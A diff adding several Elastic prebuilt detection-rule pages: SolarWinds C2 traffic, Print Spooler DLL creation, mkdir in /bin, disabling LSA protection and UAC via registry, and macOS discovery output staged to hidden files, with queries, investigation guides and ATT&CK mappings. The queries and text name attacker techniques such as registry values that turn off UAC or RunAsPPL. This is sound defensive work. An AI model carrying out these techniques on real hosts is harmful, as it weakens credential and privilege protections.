time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type == "windows" and event.type == "protocol" and network.protocol == "http" and + process.name : ("ConfigurationWizard.exe", + "NetFlowService.exe", + "NetflowDatabaseMaintenance.exe", + "SolarWinds.Administration.exe", + "SolarWinds.BusinessLayerHost.exe", + "SolarWinds.BusinessLayerHostx64.exe", + "SolarWinds.Collector.Service.exe", + "SolarwindsDiagnostics.exe") and + ( + ( + (http.request.body.content : "*/swip/Upload.ashx*" and http.request.body.content : ("POST*", "PUT*")) or + (http.request.body.content : ("*/swip/SystemDescription*", "*/swip/Events*") and http.request.body.content : ("GET*", "HEAD*")) + ) and + not http.request.body.content : "*solarwinds.com*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-suspicious-printspooler-service-executable-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-suspicious-printspooler-service-executable-file-creation.asciidoc new file mode 100644 index 0000000000..22d40f0d8d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-suspicious-printspooler-service-executable-file-creation.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-20-deprecated-suspicious-printspooler-service-executable-file-creation]] +=== Deprecated - Suspicious PrintSpooler Service Executable File Creation + +Detects attempts to exploit privilege escalation vulnerabilities related to the Print Spooler service. For more information refer to the following CVE's - CVE-2020-1048, CVE-2020-1337 and CVE-2020-1300 and verify that the impacted system is patched. + +*Rule type*: new_terms + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://voidsec.com/cve-2020-1337-printdemon-is-dead-long-live-printdemon/ +* https://www.thezdi.com/blog/2020/7/8/cve-2020-1300-remote-code-execution-through-microsoft-windows-cab-files + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 321 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Deprecated - Suspicious PrintSpooler Service Executable File Creation* + + +The Print Spooler service in Windows manages print jobs, but vulnerabilities like CVE-2020-1048 can be exploited for privilege escalation. Adversaries may create malicious DLL files executed by the spooler to gain elevated privileges. The detection rule identifies such threats by monitoring file creation events linked to the spooler process, focusing on DLL files, which are common vectors for exploitation. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of a file creation event with the extension "dll" associated with the "spoolsv.exe" process on a Windows host. +- Check the file path and name of the created DLL to determine if it matches known malicious patterns or locations typically used for exploitation. +- Investigate the source of the spoolsv.exe process by examining the parent process and any associated user accounts to identify potential unauthorized access or activity. +- Analyze recent system logs and security events for any other suspicious activities or anomalies around the time of the DLL creation, such as unexpected user logins or privilege changes. +- Verify the patch status of the affected system against the vulnerabilities CVE-2020-1048, CVE-2020-1337, and CVE-2020-1300 to ensure it is up to date and not susceptible to known exploits. +- If the DLL is confirmed to be malicious, isolate the affected system to prevent further exploitation and begin remediation efforts, including removing the malicious file and any associated threats. + + +*False positive analysis* + + +- Legitimate DLL updates by trusted software can trigger the rule. Users should verify the source of the DLL and, if confirmed safe, add the software's update process to an exception list. +- System maintenance activities, such as Windows updates, may create DLLs that match the rule's criteria. Users can exclude these activities by identifying the associated update processes and adding them to the exception list. +- Custom in-house applications that interact with the Print Spooler service might generate DLLs during normal operation. Users should validate these applications and exclude their file creation events if they are deemed non-threatening. +- Security software or monitoring tools that interact with the Print Spooler service could inadvertently create DLLs. Users should confirm the legitimacy of these tools and configure exceptions for their operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary. +- Terminate the spoolsv.exe process if it is confirmed to be executing a malicious DLL, to halt any ongoing malicious activity. +- Remove the malicious DLL file from the system to prevent re-execution and further exploitation. +- Apply the latest security patches and updates to the affected system, specifically addressing CVE-2020-1048, CVE-2020-1337, and CVE-2020-1300, to close the vulnerabilities exploited by the adversary. +- Conduct a thorough review of user accounts and privileges on the affected system to ensure no unauthorized privilege escalation has occurred. +- Monitor the network for any signs of similar exploitation attempts or related suspicious activity, using enhanced logging and alerting mechanisms. +- Report the incident to the appropriate internal security team or external authorities if required, providing details of the exploit and actions taken for further investigation and response. + +==== Rule query + + +[source, js] +---------------------------------- +event.category : "file" and host.os.type : "windows" and event.type : "creation" and + process.name : "spoolsv.exe" and file.extension : "dll" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-directory-creation-in-bin-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-directory-creation-in-bin-directory.asciidoc new file mode 100644 index 0000000000..bb2e19a949 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-directory-creation-in-bin-directory.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-20-directory-creation-in-bin-directory]] +=== Directory Creation in /bin directory + +This rule identifies the creation of directories in the /bin directory. The /bin directory contains essential binary files that are required for the system to function properly. The creation of directories in this location could be an attempt to hide malicious files or executables, as these /bin directories usually just contain binaries. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Directory Creation in /bin directory* + + +The /bin directory is crucial for Linux systems, housing essential binaries for system operations. Adversaries may exploit this by creating directories here to conceal malicious files, leveraging the directory's trusted status. The detection rule identifies suspicious directory creation by monitoring 'mkdir' executions in critical binary paths, excluding legitimate system operations, thus flagging potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the process details to confirm the execution of 'mkdir' in the specified critical binary paths such as /bin, /usr/bin, /usr/local/bin, /sbin, /usr/sbin, and /usr/local/sbin. +- Check the parent process of the 'mkdir' command to determine if it was initiated by a legitimate system process or a potentially malicious one. +- Investigate the user account associated with the 'mkdir' process to assess if it has the necessary permissions and if the activity aligns with the user's typical behavior. +- Examine the system logs around the time of the directory creation for any other suspicious activities or anomalies that might indicate a broader attack. +- Verify if any files or executables have been placed in the newly created directory and assess their legitimacy and potential threat level. +- Cross-reference the event with threat intelligence sources to identify if the activity matches any known malicious patterns or indicators of compromise. + + +*False positive analysis* + + +- System updates or package installations may trigger directory creation in the /bin directory as part of legitimate operations. Users can mitigate this by creating exceptions for known package management processes like apt, yum, or rpm. +- Custom scripts or administrative tasks that require creating directories in the /bin directory for temporary storage or testing purposes can also lead to false positives. Users should document and exclude these specific scripts or tasks from the detection rule. +- Automated deployment tools or configuration management systems such as Ansible, Puppet, or Chef might create directories in the /bin directory as part of their setup routines. Users should identify these tools and add them to the exclusion list to prevent unnecessary alerts. +- Development or testing environments where developers have permissions to create directories in the /bin directory for application testing can result in false positives. Users should differentiate between production and non-production environments and apply the rule accordingly. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement or data exfiltration by the adversary. +- Terminate any suspicious processes related to the directory creation in the /bin directory to halt any ongoing malicious activity. +- Conduct a thorough review of the newly created directories and files within the /bin directory to identify and remove any malicious binaries or scripts. +- Restore any altered or deleted legitimate binaries from a known good backup to ensure system integrity and functionality. +- Implement file integrity monitoring on critical system directories, including /bin, to detect unauthorized changes in real-time. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are compromised. +- Review and update access controls and permissions for the /bin directory to restrict unauthorized directory creation and enhance security posture. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "start", "ProcessRollup2", "exec_event") and process.name == "mkdir" and +process.args like ("/bin/*", "/usr/bin/*", "/usr/local/bin/*", "/sbin/*", "/usr/sbin/*", "/usr/local/sbin/*") and +not process.args in ("/bin/mkdir", "/usr/bin/mkdir", "/usr/local/bin/mkdir", "/usr/local/bin/cursor", "/usr/bin/coreutils") and +not process.parent.executable in ("/usr/bin/make", "/bin/make") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-disabling-lsa-protection-via-registry-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-disabling-lsa-protection-via-registry-modification.asciidoc new file mode 100644 index 0000000000..88d89a44e8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-disabling-lsa-protection-via-registry-modification.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-20-disabling-lsa-protection-via-registry-modification]] +=== Disabling Lsa Protection via Registry Modification + +LSA protecton is provided to prevent nonprotected processes from reading memory and injecting code. This feature provides added security for the credentials that LSA stores and manages. Adversaries may modify the RunAsPPL registry and wait or initiate a system restart to enable Lsass credentials access. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Disabling Lsa Protection via Registry Modification* + + +For more information about the Lsa Protection and how it works, check the https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection[official Microsoft docs page]. + +Attackers may disable Lsa protection to access Lsass memory for credentals. This rule identifies RunAsPPL registry value modifications. + + +*Possible investigation steps* + + +- Verify the context of the change and if it's related to a planned system administration activity. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behaviors in the alert timeframe. +- Investigate abnormal behaviors observed by the subject process such as network connections, registry or file modifications, and any spawned child processes. + + +*False positive analysis* + + +- Approved changes to relax the Lsa protection for compatibility with third party solutions such as authentication plugins or alike. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Restore UAC settings to the desired state. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.data.strings != null and process.name != null and + registry.value : "RunAsPPL" and + registry.path : "*\\SYSTEM\\*ControlSet*\\Control\\Lsa\\RunAsPPL" and + not registry.data.strings : ("1", "0x00000001", "2", "0x00000002") and + not process.executable : "?:\\Windows\\System32\\SecurityHealthService.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-disabling-user-account-control-via-registry-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-disabling-user-account-control-via-registry-modification.asciidoc new file mode 100644 index 0000000000..b2ca49c608 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-disabling-user-account-control-via-registry-modification.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-20-disabling-user-account-control-via-registry-modification]] +=== Disabling User Account Control via Registry Modification + +User Account Control (UAC) can help mitigate the impact of malware on Windows hosts. With UAC, apps and tasks always run in the security context of a non-administrator account, unless an administrator specifically authorizes administrator-level access to the system. This rule identifies registry value changes to bypass User Access Control (UAC) protection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.greyhathacker.net/?p=796 +* https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings +* https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-overview +* https://www.elastic.co/security-labs/dissecting-remcos-rat-part-four + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Disabling User Account Control via Registry Modification* + + +Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as low to high integrity levels) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. UAC can deny an operation under high-integrity enforcement, or allow the user to perform the action if they are in the local administrators group and enter an administrator password when prompted. + +For more information about the UAC and how it works, check the https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works[official Microsoft docs page]. + +Attackers may disable UAC to execute code directly in high integrity. This rule identifies registry value changes to bypass the UAC protection. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behaviors in the alert timeframe. +- Investigate abnormal behaviors observed by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Analyze non-system processes executed with high integrity after UAC was disabled for unknown or suspicious processes. +- Retrieve the suspicious processes' executables and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled tasks creation. + - Use the PowerShell `Get-FileHash` cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Restore UAC settings to the desired state. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : ("EnableLUA", "ConsentPromptBehaviorAdmin", "PromptOnSecureDesktop") and + registry.data.strings : ("0", "0x00000000") + + /* + Full registry key path omitted due to data source variations: + HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA + HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ConsentPromptBehaviorAdmin + HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\PromptOnSecureDesktop + */ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-discovery-command-output-written-to-suspicious-file.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-discovery-command-output-written-to-suspicious-file.asciidoc new file mode 100644 index 0000000000..027df744c0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-discovery-command-output-written-to-suspicious-file.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-20-discovery-command-output-written-to-suspicious-file]] +=== Discovery Command Output Written to Suspicious File + +Detects when a discovery command is executed followed by the immediate modification of a suspicious file via the same process. Many types of malware execute discovery commands, save the output to a file, and then exfiltrate that file via their C2 channel. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Collection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Discovery Command Output Written to Suspicious File* + + +This rule flags a macOS discovery utility launched from an interactive shell and, within seconds, the same process writing to an unusual or hidden file location, indicating staged reconnaissance for later theft. Adversaries commonly run commands like `whoami`, `ifconfig`, `dscl`, or `system_profiler` and redirect output into `/tmp`, `/Users/Shared`, or a dotfile path to bundle host details before exfiltrating the collected text. + + +*Possible investigation steps* + + +- Review the created/modified file’s contents, size, and timestamps to confirm it contains discovery output and whether it is being appended across multiple executions. +- Pivot from the initiating process to identify subsequent child processes or shell commands that compress, encrypt, move, or delete the file, indicating staging and cleanup. +- Examine concurrent network activity from the same process tree for outbound connections, file uploads, or suspicious DNS/HTTP requests immediately after the write event. +- Validate the interactive session context by correlating to the logged-in user, terminal/TTY (if available), remote access artifacts (SSH/VPN/remote management), and recent authentication events for that account. +- Hunt on the host for related staging patterns such as additional hidden files in common drop locations, recent archive creation, or persistence changes (LaunchAgents/LaunchDaemons/crontab) around the alert time. + + +*False positive analysis* + + +- An administrator or troubleshooting script run from bash/zsh may execute built-in discovery commands (e.g., `system_profiler`, `ifconfig`, `dscl`) and redirect the output into `/tmp`, `/private/tmp`, or `/Users/Shared` as a temporary log or support bundle artifact. +- A login/profile shell customization (e.g., `.zshrc`/`.bash_profile`) or local diagnostic routine may run `whoami`/`arch`/`csrutil` and append results into a hidden dotfile path (e.g., `/*/.*`) for auditing or environment validation, creating a short command-then-write pattern. + + +*Response and remediation* + + +- Isolate the macOS host from the network and suspend or terminate the implicated shell/process tree that executed the discovery command and immediately wrote into locations like `/tmp`, `/Users/Shared`, or hidden dotfiles to prevent further staging or exfiltration. +- Quarantine the written file(s) and any adjacent artifacts (archives, encrypted blobs, renamed copies) from the same directories, preserve them for analysis, and remove the staged data once collection is complete. +- Identify and eradicate the launch point by reviewing the invoking shell history and user startup scripts (e.g., `.zshrc`, `.bash_profile`) for redirection or scripted discovery, and delete any associated persistence (LaunchAgents/LaunchDaemons, cron entries) tied to the same user or file path. +- Rotate credentials and invalidate active sessions for the logged-in user that ran the command, and audit recent remote access methods (SSH, remote management, VPN) used on the host to ensure the account was not compromised. +- Restore the host to a known-good state by reinstalling or reimaging if tampering is suspected, then monitor for re-creation of the same suspicious file paths and repeat discovery-to-file-write behavior from any interactive shell. +- Escalate to IR leadership immediately if the staged file contains host/user inventory data and there is evidence of outbound transfer attempts (new external connections, upload utilities like `curl`/`scp`, or rapid archive creation) following the write event. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=15s + [process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + process.parent.name in ("bash", "sh", "zsh") and + process.name in ("whoami", "ifconfig", "system_profiler", "dscl", "arch", "csrutil") and + process.args_count == 1] + [file where host.os.type == "macos" and event.action == "modification" and + file.path like ("/Users/Shared/*", "/tmp/*", "/private/tmp/*", "/Library/WebServer/*", + "/Library/Graphics/*", "/Library/Fonts/*", "/private/var/root/Library/HTTPStorages/*", "/*/.*") and + not file.path like ("/private/tmp/*.fifo", "/private/tmp/tcl-tk*")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Sub-technique: +** Name: Local Data Staging +** ID: T1074.001 +** Reference URL: https://attack.mitre.org/techniques/T1074/001/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dmsa-account-creation-by-an-unusual-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dmsa-account-creation-by-an-unusual-user.asciidoc new file mode 100644 index 0000000000..9489afc450 --- /dev/null +++ 